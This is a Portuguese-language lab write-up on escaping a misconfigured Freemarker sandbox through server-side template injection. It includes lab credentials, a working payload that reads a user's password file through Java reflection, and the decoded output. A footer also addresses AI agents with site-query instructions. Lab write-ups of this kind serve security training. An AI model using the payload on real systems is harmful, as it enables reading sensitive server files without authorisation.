> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/ssti/ssti-in-sandboxed-environment.md).

# SSTI em um Ambiente Sandbox

### Injeção de Template no Lado do Servidor em um Ambiente Sandbox

Este laboratório usa o **Freemarker** motor de template com um sandbox mal configurado, permitindo uma injeção de template no lado do servidor. / Objetivo: contornar o sandbox para ler o `my_password.txt` arquivo na pasta pessoal de Carlos, e então enviar seu conteúdo.

Credenciais fornecidas\:/ `content-manager: C0nt3ntM4n4g3r`

#### 1. Verificação da Execução de Código no Template

Primeiro testamos se o mecanismo interpreta várias expressões Java no template:

```python
${7*7}
```

O cálculo é interpretado, o que confirma a presença de SSTI com execução de código no lado do servidor.

<figure><img src="/files/e417023052c83183e632179800b8df5eb3c7e8d7" alt=""><figcaption></figcaption></figure>

#### 2. Contornando o Sandbox e Lendo o Arquivo Sensível

Para sair do sandbox e acessar o sistema de arquivos, usamos o `product` objeto já presente no contexto do template e subimos até as classes Java subjacentes para ler diretamente o arquivo de Carlos:

```java
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}
```

Essa expressão retorna o conteúdo do `my_password.txt` arquivo como valores decimais (códigos de byte).

<figure><img src="/files/8e02613958951e0f10c227c329ab4033366b9c9a" alt=""><figcaption></figcaption></figure>

3/. Conversão dos valores decimais para texto

A saída obtida é uma série de números decimais:

`100 50 110 114 98 112 109 53 98 117 99 117 122 111 99 106 101 101 54 98`

Converter esses valores para ASCII resulta na seguinte senha:

`d2nrbpm5bucuzocjee6b`


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/web/ssti/ssti-in-sandboxed-environment.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
